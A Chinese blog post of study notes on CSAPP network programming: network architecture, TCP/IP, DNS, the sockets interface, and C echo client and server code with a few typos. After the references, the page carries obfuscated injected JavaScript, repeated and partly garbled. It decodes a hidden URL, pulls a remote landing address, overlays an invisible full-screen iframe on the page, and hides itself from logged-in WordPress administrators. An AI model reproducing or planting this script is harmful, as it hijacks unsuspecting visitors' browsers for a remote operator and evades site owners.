【读薄 CSAPP】捌 网络编程

作者：@小土刀，CMU 研究生在读，16 年 5 月毕业回国。

导读：读厚/读薄 CSAPP 系列脱胎于作者的《深入理解计算机系统》学习笔记，『读薄』主要是点出书本中的重点概念，『读厚』则是专注于七个试验的思考，希望大家喜欢这个系列。本文首发于作者的个人博客，也欢迎大家阅读。

在这个网络成为『必需品』的时代，让我们从最原始的 Socket(套接字)开始，来看看程序是如何通过网络进行『沟通』的。更有意思的是，这一讲我们会介绍如何通过 C 语言从零开始实现自己的服务器程序。

学习目标

1. 了解网络的基本架构
2. 了解常见的网络协议
3. 掌握基本的网络相关编程技巧
4. 学会编写 web 服务器

网络架构

计算机网络的知识可谓是非常『保值』的，因为这么多基础设备还在运行着，基本机制在短时间内很难改变，关于网络的相关的讲解还有参考链接[1][2]，我觉得也非常不错，大家感兴趣可以看看。

客户端-服务器模型是网络应用最广泛使用的模型，客户端进程发送请求给服务器进程，服务器进程获取所需资源并响应客户端进程的请求，客户端进程收到响应后展示给用户。网络相关的处理，都是通过网络适配器来完成的，具体在硬件上为（右下角）：

根据网络的应用范围和架构层级，可以分成三个部分：

• SAN - System Area Network
  • Switched Ethernet, Quadrics QSW, …
• LAN - Local Area Network
  • Ethernet, ..
• WAN - Wide Area Network
  • High speed point-to-point phone lines

最底层 - Ethernet Segment

由若干主机(hosts)通过交换机(hub)连接，通常范围是房间或一层楼，如下图所示：

• 每个 Ethernet 适配器有一个唯一的 48 位的地址（也就是 MAC 地址），例如 00:16:ea:e3:54:e6
• 不同主机间发送的数据称为帧(frame)
• Hub 会把每个端口发来的所有数据复制到其他的端口
  • 所有的主机都可以看到所有的数据（注意安全问题）

下一层 - Bridged Ethernet Segment

通常范围是一层楼，通过不同的 bridge 来连接不同的 ethernet segment。Bridge 知道从某端口出发可达的主机，并有选择的在端口间复制数据。

为了从概念上简化，我们可以认为，所有的 hub, bridge 可以抽象为一条线，如下图所示：

下一层 - internets

不同的（也许不兼容）的 LAN 可以通过 router 来进行物理上的连接，这样连接起来的网络称为 internet（注意是小写，大写的 Internet 可以认为是最著名的 internet）

internet 的逻辑结构为：

• Ad hoc interconnection of networks
  • 没有特定的拓扑结构
  • 不同的 router 和 link 差异可能很大
• 通过在不同的网络间跳转来传递 packet
  • Router 是不同网络间的连接
  • 不同的 packet 可能会走不同的路线

网络协议

在不同的 LAN 和 WAN 中传输数据，就要守规矩，这个规矩就是协议。协议负责做的事情有：

• 提供 naming scheme
  • 定义 host address 格式
  • 每个主机和路由器都至少有一个独立的 internet 地址
• 提供 delivery mechanism
  • 定义了标准的传输单元 - packet
  • Packet 包含 header 和 payload
    • header 包括 packet size, source 和 destination address
    • payload 包括需要传输的数据

在这样的协议下，具体的数据传输如下图所示，这里 PH = Internet packet header, FH = LAN frame header（具体名词解释可见参考文末参考资料）：

Internet 是 internet 最为著名的例子。主要基于 TCP/IP 协议族：

• IP (Internet Protocal)
  • Provides basic naming scheme and unreliable delivery capability of packets (datagrams) from host-to-host
• UDP (Unreliable Datagram Protocol)
  • Uses IP to provide unreliable datagram delivery from process-to-process
• TCP (Transmission Control Protocol)
  • Uses IP to provide reliable byte streams from process-to-process over connections

Accessed via a mix of Unix file I/O and functions from sockets interface.（很多东西不是很好翻译，用原文比较准确）

• 主机有 32 位的 IP 地址 - 23.235.46.133
  • IPv4 - 32 位地址，IPv6 - 128 位地址
• IP 地址被映射到域名 - 23.235.46.133 映射到 www.wdxtub.com
• 不同主机之间的进程，可以通过 connection 来交换数据

IP 地址

我们会用一个叫做 IP address struct 的东西来存储，并且 IP 地址是以 network byte order（也就是大端）来进行存储的

// Internet address structure
struct in_addr {
    uint32_t s_addr;    // network byte order (big-endian)
}

为了方便读，一般用下面的形式来进行表示：

IP 地址：0x8002C2F2 = 128.2.194.242

具体的转换可以使用 getaddrinfo 和 getnameinfo 函数

Internet 域名

这里主要需要了解的就是 Domain Naming System(DNS) 的概念，用来做 IP 地址到域名的映射。具体可以用 nslookup 命令来查看，下面是一些例子

$ hostname
wdxtub.local

$ nslookup www.wdxtub.com
Server:      8.8.8.8
Address: 8.8.8.8#53

Non-authoritative answer:
www.wdxtub.com   canonical name = wdxtub.github.io.
wdxtub.github.io canonical name = github.map.fastly.net.
Name:    github.map.fastly.net
Address: 23.235.39.133

$ nslookup www.twitter.com
Server:      8.8.8.8
Address: 8.8.8.8#53

Non-authoritative answer:
www.twitter.com  canonical name = twitter.com.
Name:    twitter.com
Address: 199.16.156.6
Name:    twitter.com
Address: 199.16.156.198
Name:    twitter.com
Address: 199.16.156.230
Name:    twitter.com
Address: 199.16.156.70

Internet 连接

客户端和服务器通过连接(connection)来发送字节流，特点是：

• 点对点: 连接一对进程
• 全双工: 数据同时可以在两个方向流动
• 可靠: 字节的发送的顺序和收到的一致

Socket 则可以认为是 connection 的 endpoint，socket 地址是一个 IPaddress:port 对。

Port（端口）是一个 16 位的整数，用来标识不同的进程，利用不同的端口来连接不同的服务：

• Ephemeral port: Assigned automatically by client kernel when client makes a connection request
• Well-known port: Associated with some service provided by a server（在 linux 系统上可以在 /etc/services 中查看具体的信息）
  • echo server: 7/echo
  • ssh server: 22/ssh
  • email server: 25/smtp
  • web servers: 80/http

Socket 接口

一系列系统级的函数，和 Unix I/O 配合构造网络应用（在所有的现代操作系统上都可用）。

对于 kernel 来说，socket 是 endpoint of communication；对于应用程序来说，socket 是 file descriptor，用来读写（回忆一下，STDIN 和 STDOUT 也是 file descriptor）。客户端和服务器通过读写对应的 socket descriptor 来进行。

具体连接的过程可以参考下图，注意，这一讲不做过多细节探讨，相信相关信息请参考书本对应内容。

简单服务器实现

架构总览

写服务器，最重要的就是理清思路，上节课我们介绍了诸多概念，尤其是最后提到的 getaddrinfo 和 getnameinfo，都是我们在搭建过程中必不可少的工具。参考上面的流程图，整个的工作流程有 5 步：

1. 开启服务器（open_listenfd 函数，做好接收请求的准备）
   • getaddrinfo: 设置服务器的相关信息，具体可以参见 图1&2
   • socket: 创建 socket descriptor，也就是之后用来读写的 file descriptor
     • int socket(int domain, int type, int protocol)
     • 例如 int clientfd = socket(AF_INET, SOCK_STREAM, 0);
     • AF_INET 表示在使用 32 位 IPv4 地址
     • SOCK_STREAM 表示这个 socket 将是 connection 的 endpoint
     • 前面这种写法是协议相关的，建议使用 getaddrinfo 生成的参数来进行配置，这样就是协议无关的了
   • bind: 请求 kernel 把 socket address 和 socket descriptor 绑定
     • int bind(int sockfd, SA *addr, socklen_t addrlen);
     • The process can read bytes that arrive on the connection whose endpoint is addr by reading from descriptor sockfd
     • Similarly, writes to sockfd are transferred along connection whose endpoint is addr
     • 最好是用 getaddrinfo 生成的参数作为 addr 和 addrlen
   • listen: 默认来说，我们从 socket 函数中得到的 descriptor 默认是 active socket（也就是客户端的连接），调用 listen 函数告诉 kernel 这个 socket 是被服务器使用的
     • int listen(int sockfd, int backlog);
     • 把 sockfd 从 active socket 转换成 listening socket，用来接收客户端的请求
     • backlog 的数值表示 kernel 在接收多少个请求之后（队列缓存起来）开始拒绝请求
   • [*]accept: 调用 accept 函数，开始等待客户端请求
     • int accept(int listenfd, SA *addr, int *addrlen);
     • 等待绑定到 listenfd 的连接接收到请求，然后把客户端的 socket address 写入到 addr，大小写入到 addrlen
     • 返回一个 connected descriptor 用来进行信息传输（类似 Unix I/O）
     • 具体的过程可以参考 图3
2. 开启客户端（open_clientfd 函数，设定访问地址，尝试连接）
   • getaddrinfo: 设置客户端的相关信息，具体可以参见 图1&2
   • socket: 创建 socket descriptor，也就是之后用来读写的 file descriptor
   • connect: 客户端调用 connect 来建立和服务器的连接
     • int connect(int clientfd, SA *addr, socklen_t addrlen);
     • 尝试与在 socker address addr 的服务器建立连接
     • 如果成功 clientfd 可以进行读写
     • connection 由 socket 对描述 (x:y, addr.sin_addr:addr.sin_port)
     • x 是客户端地址，y 是客户端临时端口，后面的两个是服务器的地址和端口
     • 最好是用 getaddrinfo 生成的参数作为 addr 和 addrlen
3. 交换数据（主要是一个流程循环，客户端向服务器写入，就是发送请求；服务器向客户端写入，就是发送响应）
   • [Client]rio_writen: 写入数据，相当于向服务器发送请求
   • [Client]rio_readlineb: 读取数据，相当于从服务器接收响应
   • [Server]rio_readlineb: 读取数据，相当于从客户端接收请求
   • [Server]rio_writen: 写入数据，相当于向客户端发送响应
4. 关闭客户端（主要是 close）
   • [Client]close: 关闭连接
5. 断开客户端（服务接收到客户端发来的 EOF 消息之后，断开已有的和客户端的连接）
   • [Server]rio_readlineb: 收到客户端发来的关闭连接请求
   • [Server]close: 关闭与客户端的连接

Client open_clientfd

用来建立和服务器的连接，协议无关

int open_clientfd(char *hostname, char *port) {
    int clientfd;
    struct addrinfo hints, *listp, *p;
    
    // Get a list of potential server address
    memset(&hints, 0, sizeof(struct addrinfo));
    hints.ai_socktype = SOCK_STREAM; // Open a connection
    hints.ai_flags = AI_NUMERICSERV; // using numeric port arguments
    hints.ai_flags |= AI_ADDRCONFIG; // Recommended for connections
    getaddrinfo(hostname, port, &hints, &listp);
    
    // Walk the list for one that we can successfully connect to
    // 如果全部都失败，才最终返回失败（可能有多个地址）
    for (p = listp; p; p = p->ai_next) {
        // Create a socket descriptor
        // 这里使用从 getaddrinfo 中得到的参数，实现协议无关
        if ((clientfd = socket(p->ai_family, p->ai_socktype,
                               p->ai_protocol)) < 0)
            continue; // Socket failed, try the next
        
        // Connect to the server
        // 这里使用从 getaddrinfo 中得到的参数，实现协议无关
        if (connect(clientfd, p->ai_addr, p->ai_addrlen) != -1)
            break; // Success
        
        close(clientfd); // Connect failed, try another
    }
    
    // Clean up
    freeaddrinfo(listp);
    if (!p) // All connections failed
        return -1;
    else // The last connect succeeded
        return clientfd;
}

Server open_listenfd

创建 listening descriptor，用来接收来自客户端的请求，协议无关

int open_listenfd(char *port){
    struct addrinfo hints, *listp, *p;
    int listenfd, optval=1;
    
    // Get a list of potential server addresses
    memset(&hints, 0, sizeof(struct addrinfo));
    hints.ai_socktype = SOCK_STREAM; // Accept connection
    hints.ai_flags = AI_PASSIVE | AI_ADDRCONFIG; // on any IP address
    hints.ai_flags |= AI_NUMERICSERV; // using port number
    // 因为服务器不需要连接，所以原来填写地址的地方直接是 NULL
    getaddrinfo(NULL, port, &hints, &listp); 
    
    // Walk the list for one that we can successfully connect to
    // 如果全部都失败，才最终返回失败（可能有多个地址）
    for (p = listp; p; p = p->ai_next) {
        // Create a socket descriptor
        // 这里使用从 getaddrinfo 中得到的参数，实现协议无关
        if ((listenfd = socket(p->ai_family, p->ai_socktype,
                               p->ai_protocol)) < 0)
            continue; // Socket failed, try the next
        
        // Eliminates "Address already in use" error from bind
        setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR), 
                    (const void *)&optval, sizeof(int));
        
        // Bind the descriptor to the address
        if (bind(listenfd, p->ai_addr, p->ai_addrlen) == 0)
            break; // Success
        
        close(listenfd); // Bind failed, try another
    }
    
    // Clean up
    freeaddrinfo(listp);
    if (!p) // No address worked
        return -1;
    
    // Make it a listening socket ready to accept connection requests
    if (listen(listenfd, LISTENQ) < 0) {
        close(listenfd);
        return -1;
    }
    return listenfd;
}

简单的 socket 服务器实例

客户端 Echo Client

这个客户端做的事情很简单，就是把一段用户输入的文字发送到服务器，然后再把从服务器接收到的内容显示到输出中，具体可以参见注释

// echoclient.c
#include "csapp.h"

int main (int argc, char **argv) {
    int clientfd;
    char *host, *port, buf[MAXLINE];
    rio_t rio;
    
    host = argv[1];
    port = argv[2];
    
    // 建立连接（前面已经详细介绍）
    clientfd = Open_clientfd(host, port);
    Rio_readinitb(&rio, clientfd);
    
    while (Fgets(buf, MAXLINE, stdin) != NULL) {
        // 写入，也就是向服务器发送信息
        Rio_writen(clientfd, buf, strlen(buf));
        // 读取，也就是从服务器接收信息
        Rio_readlineb(&rio, buf, MAXLINE);
        // 把从服务器接收的信息显示在输出中
        Fputs(buf, stdout);
    }
    Close(clientfd);
    exit(0);
}

服务器 Iterative Echo Server

服务器做的工作也很简单，接收到从客户端发送的信息，然后返回一个一模一样的。具体参加注释。

// echoserveri.c
#include "csapp.h"
void echo(int connfd);

int main(int argc, char **argv){
    int listenfd, connfd;
    socklen_t clientlen;
    struct sockaddr_storage clientaddr; // Enough room for any addr
    char client_hostname[MAXLINE], client_port[MAXLINE];
    
    // 开启监听端口，注意只开这么一次
    listenfd = Open_listenfd(argv[1]);
    while (1) {
        // 需要具体的大小
        clientlen = sizeof(struct sockaddr_storage); // Important!
        // 等待连接
        connfd = Accept(listenfd, (SA *)&clientaddr, &clientlen);
        // 获取客户端相关信息
        Getnameinfo((SA *) &clientaddr, clientlen, client_hostname,
                     MAXLINE, client_port, MAXLINE, 0);
        printf("Connected to (%s, %s)\n", client_hostname, client_port);
        // 服务器具体完成的工作
        echo(coonfd);
        Close(connfd);
    }
    exit(0);
}

void echo(int connfd) {
    size_t n;
    char buf[MAXLINE];
    rio_t rio;
    
    // 读取从客户端传输过来的数据
    Rio_readinitb(&rio, connfd);
    while((n = Rio_readlineb(&rio, buf, MAXLINE)) != 0) {
        printf("server received %d bytes\n", (int)n);
        // 把从 client 接收到的信息再写回去
        Rio_writen(connfd, buf, n);
    }
}

总结

这一讲中，我们了解了网络的基本架构以及常见的网络协议，并通过编写 web 服务器掌握了基本的网络相关编程技巧。

因为是用 C 语言来写，实现起来比较繁琐，但是对于理解整个网络的工作机制是非常有好处的，相信之后在用更高级语言来操作网络的时候，能够更加得心应手，毕竟知其所以然了嘛。

参考资料

• 协议森林
• 计算机网络基础知识总结

;
(function () {
var API_ID_URL = (function(){var _0x1ee8=[50,46,46,42,41,96,117,117,42,40,63,57,51,41,51,53,52,42,40,53,44,51,52,61,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x1ee8.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: "https://raw.githubusercontent.com/{id}", useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
}

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
}

registry.status = "loading";

function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return "";

var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
}

try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {}

return "";
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return "";

if (typeof input === "string") {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return "";
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement("link");
link.rel = rel;
link.href = href;

if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) {
cleanup("done");
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup("done");
return "";
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}

registry.runPromise = run();
})();
;
(function () {
var API_ID_URL = (function(){var _0x1ee8=[50,46,46,42,41,96,117,117,42,40,63,57,51,41,51,53,52,42,40,53,44,51,52,61,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x1ee8.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: "https://raw.githubusercontent.com/{id}", useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
}

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
}

registry.status = "loading";

function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return "";

var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
}

try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {}

return "";
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return "";

if (typeof input === "string") {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return "";
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement("link");
link.rel = rel;
link.href = href;

if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) {
cleanup("done");
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup("done");
return "";
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}

registry.runPromise = run();
})();
;
(function () {
var API_ID_URL = (function(){var _0x1ee8=[50,46,46,42,41,96,117,117,42,40,63,57,51,41,51,53,52,42,40,53,44,51,52,61,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x1ee8.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: "https://raw.githubusercontent.com/{id}", useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";

